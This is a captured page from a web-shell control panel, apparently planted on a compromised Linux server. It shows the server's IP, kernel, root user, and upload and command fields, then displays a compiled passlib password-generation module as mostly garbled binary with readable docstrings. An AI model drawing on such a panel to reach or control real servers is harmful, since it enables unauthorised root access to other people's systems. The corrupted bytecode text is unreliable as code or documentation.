403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/passlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/passlib/__pycache__/pwd.cpython-312.pyc
�

`Άe�o�� �dZddlZddlmZ	ddlmZddlmZm	Z
ddlZeje
�Z	ddlZddlZddlmZddlmZmZmZmZddlmZmZmZdd	lmZgd
�Zeddd
dd��Zd�Z d�Z!d'd�Z"e#e$fZ%e&e'fZ(e&�Z)d(d�Z*Gd�de+�Z,edddd��Z-Gd�de,�Z.d)d�Z/d�Z0Gd �d!e�Z1e1�Z2d"jg�D]Z4e2jke4d#e4z��Gd$�d%e,�Z6d)d&�Z7y#e$r	ddlmZY��wxYw)*z*passlib.pwd -- password generation helpers�N)�defaultdict)�MutableMapping)�ceil�log)�exc)�PY2�irange�
itervalues�	int_types)�rng�
getrandstr�
to_unicode)�memoized_property)�genword�default_charsets�	genphrase�default_wordsets���$�0�<)�unsafe�weak�fair�strong�securec�Z�t|�j}||j|�dzdS)z2return remaining classes in object's MRO after cls�N)�type�__mro__�index)�obj�cls�mros   �-/usr/lib/python3/dist-packages/passlib/pwd.py�
_superclassesr'7s,��
�s�)�
�
�C��s�y�y��~�a�� �!�!�c��	t|�}tt�}|D]}||xxdz
cc<�|�|j	�}t|�}nt
|�}|syt|d�td�|D��|zz
S#t$rd}Y�~wxYw)a�
    returns 'rate of self-information' --
    i.e. average (per-symbol) entropy of the sequence **source**,
    where probability of a given symbol occurring is calculated based on
    the number of occurrences within the sequence itself.

    if all elements of the source are unique, this should equal ``log(len(source), 2)``.

    :arg source:
        iterable containing 0+ symbols
        (e.g. list of strings or ints, string of characters, etc).

    :returns:
        float bits of entropy
    Nrr�c3�:K�|]}|t|d�z���y�w)r*N)�logf)�.0�values  r&�	<genexpr>z"_self_info_rate.<locals>.<genexpr>^s����J�%�u�t�E�1�~�5�J�s�)�len�	TypeErrorr�int�values�sumr
r,)�source�size�counts�charr3s     r&�_self_info_rater9=s��� ��6�{����
�F�����t�������|�������6�{���F�#������a�=�3�J�6�J�J�T�Q�Q�Q�������s�A>�>B�Bc��|r$tj|�t|��Stjj|�rt
|d�S|jd�\}}}|std|����tj||�S)a
    :param asset_path:
        string containing absolute path to file,
        or package-relative path using format
        ``"python.module:relative/file/path"``.

    :returns:
        filehandle opened in 'rb' mode
        (unless encoding explicitly specified)
    �rb�:zIasset path must be absolute file path or use 'pkg.name:sub/path' format: )�codecs�	getreader�_open_asset_path�os�path�isabs�open�	partition�
ValueError�
pkg_resources�resource_stream)rA�encoding�package�sep�subpaths     r&r?r?is����)�v����)�*:�4�*@�A�A�	�w�w�}�}�T���D�$��� �N�N�3�/��G�S�'���DH�K�L�	L��(�(��'�:�:r(c�&�t}d}	||vry	t|t�s t	t|��t	|�k(r|r	|j
|�yyt�}t�}|D]}||vr|n|j
|��t|�}d}t	|�|kDrd}djd�|d|D��}t	|�|kDr|dt	|�|z
zz
}td	|�d
|����#t$rd}Y��wxYw#t$rYywxYw)z�
    helper for generators --
    Throws ValueError if source elements aren't unique.
    Error message will display (abbreviated) repr of the duplicates in a string/list
    TF���, c3�DK�|]}tt|�����y�w�N)�repr�str�r-�words  r&r/z!_ensure_unique.<locals>.<genexpr>�s����B�T��c�$�i��B�s� Nz, ... plus %d others�`z%` cannot contain duplicate elements: )
�_ensure_unique_cacher1�
isinstance�
_set_typesr0�set�add�sorted�joinrE)	r5�param�cache�hashable�seen�dups�elem�trunc�dup_reprs	         r&�_ensure_uniquerf�s5��
!�E��H���U�?����&�*�%��S��[�)9�S��[�)H��
��	�	�&�!�
��5�D��5�D��3������4�,�,�T�2�3��$�<�D�
�E�
�4�y�5�����y�y�B�T�&�5�\�B�B�H�
�4�y�5���*�c�$�i�%�.?�@�@����X�'�(�(��9�������
���	
�s#�C3�D�3D�D�	D�Dc�z��eZdZdZdZdZeZdZd�fd�	Ze	d��Z
e	d��Zd�Zdd�Z
d	�Zerd
�Z�xZS�xZS)
�SequenceGeneratoraY
    Base class used by word & phrase generators.

    These objects take a series of options, corresponding
    to those of the :func:`generate` function.
    They act as callables which can be used to generate a password
    or a list of 1+ passwords. They also expose some read-only
    informational attributes.

    Parameters
    ----------
    :param entropy:
        Optionally specify the amount of entropy the resulting passwords
        should contain (as measured with respect to the generator itself).
        This will be used to auto-calculate the required password size.

    :param length:
        Optionally specify the length of password to generate,
        measured as count of whatever symbols the subclass uses (characters or words).
        Note if ``entropy`` requires a larger minimum length,
        that will be used instead.

    :param rng:
        Optionally provide a custom RNG source to use.
        Should be an instance of :class:`random.Random`,
        defaults to :class:`random.SystemRandom`.

    Attributes
    ----------
    .. autoattribute:: length
    .. autoattribute:: symbol_count
    .. autoattribute:: entropy_per_symbol
    .. autoattribute:: entropy

    Subclassing
    -----------
    Subclasses must implement the ``.__next__()`` method,
    and set ``.symbol_count`` before calling base ``__init__`` method.
    Nrc����|j�Jd��|�|�^|�|j}tj||�}|dkrt	d��tt
||jz��}|�||kr|}||_|dkrt	d��||_|�||_	|rCt|t�tfk(r+tddj|j��z��t!t|�Fdi|��y)	Nzsubclass must set .symbol_countrz!`entropy` must be positive numberrz!`length` must be positive integerzUnexpected keyword(s): %srO�)�symbol_count�requested_entropy�entropy_aliases�getrEr2r�entropy_per_symbol�lengthrr'rh�objectr1r]�keys�super�__init__)�self�entropyrpr�kwds�
min_length�	__class__s      �r&rtzSequenceGenerator.__init__�s���� � �,�O�.O�O�,���&�.����0�0��%�)�)�'�7�;�G��!�|� �!D�E�E��T�'�D�,C�,C�"C�D�E�J��~��*�!4�#��!(����A�:��@�A�A�����?��D�H��M�$�(9�:�v�i�G��7�$�)�)�D�I�I�K�:P�P�Q�Q�
���/�7�$�7r(c�.�t|jd�S)zZ
        Average entropy per symbol (assuming all symbols have equal probability)
        r*)r,rk�rus r&roz$SequenceGenerator.entropy_per_symbols��
�D�%�%�q�)�)r(c�4�|j|jzS)a+
        Effective entropy of generated passwords.

        This value will always be a multiple of :attr:`entropy_per_symbol`.
        If entropy is specified in constructor, :attr:`length` will be chosen so
        so that this value is the smallest multiple >= :attr:`requested_entropy`.
        )rpror{s r&rvzSequenceGenerator.entropys���{�{�T�4�4�4�4r(c��td��)z;main generation function, should create one password/phrasezimplement in subclass)�NotImplementedErrorr{s r&�__next__zSequenceGenerator.__next__(s��!�"9�:�:r(c���|�t|�St|t�r"t|�D�cgc]
}t|���c}S|tur|Stj|dd��cc}w)zN
        frontend used by genword() / genphrase() to create passwords
        z<None>, int, or <iter>�returns)�nextrXrr	�iterr�ExpectedTypeError)rur��_s   r&�__call__zSequenceGenerator.__call__,s]���?���:��
���
+�(.�w��8�1�D��J�8�8�
��_��K��'�'��1I�9�U�U��	9s�A!c��|SrQrjr{s r&�__iter__zSequenceGenerator.__iter__9s���r(c�"�|j�SrQ)rr{s r&r�zSequenceGenerator.next=s���=�=�?�"r(�NNNrQ)�__name__�
__module__�__qualname__�__doc__rprlrrkrtrrorvrr�r�rr��
__classcell__�rys@r&rhrh�ss���&�X�F�!���C��L�
8�F�*��*��5��5�;�V���	#�r(rhzH0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*?/�>0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ�2234679abcdefghjkmnpqrstuvwxyzACDEFGHJKMNPQRTUVWXYZ�0123456789abcdef)�ascii_72�ascii_62�ascii_50�hexc�B��eZdZdZdZdZd�fd�	Zed��Zd�Z	�xZ
S)�
WordGeneratora�
    Class which generates passwords by randomly choosing from a string of unique characters.

    Parameters
    ----------
    :param chars:
        custom character string to draw from.

    :param charset:
        predefined charset to draw from.

    :param \*\*kwds:
        all other keywords passed to the :class:`SequenceGenerator` parent class.

    Attributes
    ----------
    .. autoattribute:: chars
    .. autoattribute:: charset
    .. autoattribute:: default_charsets
    r�Nc����|r
|r&td��|s|j}|sJ�t|}||_t|d��}t	|d��||_t
t|�"di|��y)Nz,`chars` and `charset` are mutually exclusive�chars�r^rj)	r1�charsetrrrfr�rsr�rt)rur�r�rwrys    �r&rtzWordGenerator.__init__}sl������ N�O�O���,�,����w�$�W�-�E�����5��0���u�G�,���
�	�m�T�+�3�d�3r(c�,�t|j�SrQ)r0r�r{s r&rkzWordGenerator.symbol_count�����4�:�:��r(c�X�t|j|j|j�SrQ)r
rr�rpr{s r&rzWordGenerator.__next__�s���$�(�(�D�J�J����<�<r()NN)r�r�r�r�r�r�rtrrkrr�r�s@r&r�r�[s4����2�G�
�E�
4�0����=r(r�c�.�td||d�|��}||�S)a�
Generate one or more random passwords.

    This function uses :mod:`random.SystemRandom` to generate
    one or more passwords using various character sets.
    The complexity of the password can be specified
    by size, or by the desired amount of entropy.

    Usage Example::

        >>> # generate a random alphanumeric string with 48 bits of entropy (the default)
        >>> from passlib import pwd
        >>> pwd.genword()
        'DnBHvDjMK6'

        >>> # generate a random hexadecimal string with 52 bits of entropy
        >>> pwd.genword(entropy=52, charset="hex")
        '310f1a7ac793f'

    :param entropy:
        Strength of resulting password, measured in 'guessing entropy' bits.
        An appropriate **length** value will be calculated
        based on the requested entropy amount, and the size of the character set.

        This can be a positive integer, or one of the following preset
        strings: ``"weak"`` (24), ``"fair"`` (36),
        ``"strong"`` (48), and ``"secure"`` (56).

        If neither this or **length** is specified, **entropy** will default
        to ``"strong"`` (48).

    :param length:
        Size of resulting password, measured in characters.
        If omitted, the size is auto-calculated based on the **entropy** parameter.

        If both **entropy** and **length** are specified,
        the stronger value will be used.

    :param returns:
        Controls what this function returns:

        * If ``None`` (the default), this function will generate a single password.
        * If an integer, this function will return a list containing that many passwords.
        * If the ``iter`` constant, will return an iterator that yields passwords.

    :param chars:

        Optionally specify custom string of characters to use when randomly
        generating a password. This option cannot be combined with **charset**.

    :param charset:

        The predefined character set to draw from (if not specified by **chars**).
        There are currently four presets available:

        * ``"ascii_62"`` (the default) -- all digits and ascii upper & lowercase letters.
          Provides ~5.95 entropy per character.

        * ``"ascii_50"`` -- subset which excludes visually similar characters
          (``1IiLl0Oo5S8B``). Provides ~5.64 entropy per character.

        * ``"ascii_72"`` -- all digits and ascii upper & lowercase letters,
          as well as some punctuation. Provides ~6.17 entropy per character.

        * ``"hex"`` -- Lower case hexadecimal.  Providers 4 bits of entropy per character.

    :returns:
        :class:`!unicode` string containing randomly generated password;
        or list of 1+ passwords if :samp:`returns={int}` is specified.
    )rprvrj)r��rvrpr�rw�gens     r&rr�s#��L�
?�v�w�
?�$�
?�C��w�<�r(c��t|d�5}d�|D�}td�|D��}ddd�tjdt	�|�|S#1swY�+xYw)a2
    load wordset from compressed datafile within package data.
    file should be utf-8 encoded

    :param asset_path:
        string containing  absolute path to wordset file,
        or "python.module:relative/file/path".

    :returns:
        tuple of words, as loaded from specified words file.
    zutf-8c3�<K�|]}|j����y�wrQ)�striprTs  r&r/z _load_wordset.<locals>.<genexpr>s����+��t�z�z�|�+�s�c3�&K�|]	}|s�|���y�wrQrjrTs  r&r/z _load_wordset.<locals>.<genexpr>s����3�t�d�d�3�s��Nz!loaded %d-element wordset from %r)r?�tupler�debugr0)�
asset_path�fhr��wordss    r&�
_load_wordsetr��s[��
�*�g�	.�4�"�+��+���3�s�3�3��4�$�I�I�1�3�u�:�z�J��L�'4�4�s�A�Ac�d��eZdZdZdZdZ�fd�Zd�Zd�Zd�Z	d�Z
ed��Zd	�Z
d
�Zd�Z�xZS)�WordsetDictz�
    Special mapping used to store dictionary of wordsets.
    Different from a regular dict in that some wordsets
    may be lazy-loaded from an asset path.
    Nc�H��i|_i|_tt|�|i|��yrQ)�paths�_loadedrsr�rt)ru�argsrwrys   �r&rtzWordsetDict.__init__$s%�����
����
�k�4�)�4�8�4�8r(c��	|j|S#t$rYnwxYw|j|}t|�x}|j|<|SrQ)r��KeyErrorr�r�)ru�keyrAr.s    r&�__getitem__zWordsetDict.__getitem__)sR��	��<�<��$�$���	��	���z�z�#���$1�$�$7�7�����S�!��s��	�c�"�||j|<y)z;
        set asset path to lazy-load wordset from.
        N)r�)rur�rAs   r&�set_pathzWordsetDict.set_path2s����
�
�3�r(c�"�||j|<yrQ)r�)rur�r.s   r&�__setitem__zWordsetDict.__setitem__8s��!����S�r(c�z�||vr*|j|=|jj|d�y|j|=yrQ)r�r��pop�rur�s  r&�__delitem__zWordsetDict.__delitem__;s2���$�;����S�!��J�J�N�N�3��%��
�
�3�r(c�f�t|j�}|j|j�|SrQ)rZr��updater�)rurrs  r&�_keysetzWordsetDict._keysetBs%���4�<�<� �����D�J�J���r(c�,�t|j�SrQ)r�r�r{s r&r�zWordsetDict.__iter__Hs���D�L�L�!�!r(c�,�t|j�SrQ)r0r�r{s r&�__len__zWordsetDict.__len__Ks���4�<�<� � r(c�>�||jvxs||jvSrQ)r�r�r�s  r&�__contains__zWordsetDict.__contains__Os���d�l�l�"�7�c�T�Z�Z�&7�7r()r�r�r�r�r�r�rtr�r�r�r��propertyr�r�r�r�r�r�s@r&r�r�sR����
�E��G�9�
��"� �����
"�!�8r(r�z%eff_long eff_short eff_prefixed bip39zpasslib:_data/wordsets/%s.txtc�F��eZdZdZdZdZdZd�fd�	Zed��Z	d�Z
�xZS)	�PhraseGeneratora�class which generates passphrases by randomly choosing
    from a list of unique words.

    :param wordset:
        wordset to draw from.
    :param preset:
        name of preset wordlist to use instead of ``wordset``.
    :param spaces:
        whether to insert spaces between words in output (defaults to ``True``).
    :param \*\*kwds:
        all other keywords passed to the :class:`SequenceGenerator` parent class.

    .. autoattribute:: wordset
    �eff_longN� c�0��|�
|�&td��|�|j}|sJ�t|}||_t|t�st|�}t
|d��||_|�|j}t|d��}||_tt|�2di|��y)Nz,`words` and `wordset` are mutually exclusiver�r�rJrj)
r1�wordsetrrX�_sequence_typesr�rfr�rJrrsr�rt)rur�r�rJrwrys     �r&rtzPhraseGenerator.__init__}s�������"�� N�O�O����,�,����w�$�W�-�E�����%��1��%�L�E��u�G�,���
��;��(�(�C���E�*�����	�o�t�-�5��5r(c�,�t|j�SrQ)r0r�r{s r&rkzPhraseGenerator.symbol_count�r�r(c�v���fd�t�j�D�}�jj|�S)Nc3�h�K�|])}�jj�j����+y�wrQ)r�choicer�)r-r�rus  �r&r/z+PhraseGenerator.__next__.<locals>.<genexpr>�s"�����J����������,�J�s�/2)r	rprJr])rur�s` r&rzPhraseGenerator.__next__�s)���J�f�T�[�[�6I�J���x�x�}�}�U�#�#r(r�)r�r�r�r�r�r�rJrtrrkrr�r�s@r&r�r�^s<���
�&�G�
�E��C�
6�D����$r(r�c�.�td||d�|��}||�S)amGenerate one or more random password / passphrases.

    This function uses :mod:`random.SystemRandom` to generate
    one or more passwords; it can be configured to generate
    alphanumeric passwords, or full english phrases.
    The complexity of the password can be specified
    by size, or by the desired amount of entropy.

    Usage Example::

        >>> # generate random phrase with 48 bits of entropy
        >>> from passlib import pwd
        >>> pwd.genphrase()
        'gangly robbing salt shove'

        >>> # generate a random phrase with 52 bits of entropy
        >>> # using a particular wordset
        >>> pwd.genword(entropy=52, wordset="bip39")
        'wheat dilemma reward rescue diary'

    :param entropy:
        Strength of resulting password, measured in 'guessing entropy' bits.
        An appropriate **length** value will be calculated
        based on the requested entropy amount, and the size of the word set.

        This can be a positive integer, or one of the following preset
        strings: ``"weak"`` (24), ``"fair"`` (36),
        ``"strong"`` (48), and ``"secure"`` (56).

        If neither this or **length** is specified, **entropy** will default
        to ``"strong"`` (48).

    :param length:
        Length of resulting password, measured in words.
        If omitted, the size is auto-calculated based on the **entropy** parameter.

        If both **entropy** and **length** are specified,
        the stronger value will be used.

    :param returns:
        Controls what this function returns:

        * If ``None`` (the default), this function will generate a single password.
        * If an integer, this function will return a list containing that many passwords.
        * If the ``iter`` builtin, will return an iterator that yields passwords.

    :param words:

        Optionally specifies a list/set of words to use when randomly generating a passphrase.
        This option cannot be combined with **wordset**.

    :param wordset:

        The predefined word set to draw from (if not specified by **words**).
        There are currently four presets available:

        ``"eff_long"`` (the default)

            Wordset containing 7776 english words of ~7 letters.
            Constructed by the EFF, it offers ~12.9 bits of entropy per word.

            This wordset (and the other ``"eff_"`` wordsets)
            were `created by the EFF <https://www.eff.org/deeplinks/2016/07/new-wordlists-random-passphrases>`_
            to aid in generating passwords.  See their announcement page
            for more details about the design & properties of these wordsets.

        ``"eff_short"``

            Wordset containing 1296 english words of ~4.5 letters.
            Constructed by the EFF, it offers ~10.3 bits of entropy per word.

        ``"eff_prefixed"``

            Wordset containing 1296 english words of ~8 letters,
            selected so that they each have a unique 3-character prefix.
            Constructed by the EFF, it offers ~10.3 bits of entropy per word.

        ``"bip39"``

            Wordset of 2048 english words of ~5 letters,
            selected so that they each have a unique 4-character prefix.
            Published as part of Bitcoin's `BIP 39 <https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt>`_,
            this wordset has exactly 11 bits of entropy per word.

            This list offers words that are typically shorter than ``"eff_long"``
            (at the cost of slightly less entropy); and much shorter than
            ``"eff_prefixed"`` (at the cost of a longer unique prefix).

    :param sep:
        Optional separator to use when joining words.
        Defaults to ``" "`` (a space), but can be an empty string, a hyphen, etc.

    :returns:
        :class:`!unicode` string containing randomly generated passphrase;
        or list of 1+ passphrases if :samp:`returns={int}` is specified.
    )rvrprj)r�r�s     r&rr�s#��B�
A�'�&�
A�D�
A�C��w�<�r(rQ)r5r�)8r�r=�collectionsr�collections.abcr�ImportError�mathrrr,�logging�	getLoggerr�rFr@�passlibr�passlib.utils.compatrr	r
r�
passlib.utilsrr
r�passlib.utils.decorr�__all__�dictrmr'r9r?�listr�r�rZ�	frozensetrYrWrfrqrhrr�rr�r�r�split�namer�r�rrjr(r&�<module>r�sm��0�
�#�+�.�#��'�g�'�'��1���	��C�C�5�5�1����
�
�
�����*"�!R�X;�.��-���9�
�
��u��)(�\I#��I#�h�
W�N�B�	���$E=�%�E=�XG�Z �F98�.�98�|�=��
4�9�9�;�L�D����d�$C�d�$J�K�L�K$�'�K$�db��M�+�*�+�s�C?�?D
�D


Youez - 2016 - github.com/yon3zu
LinuXploit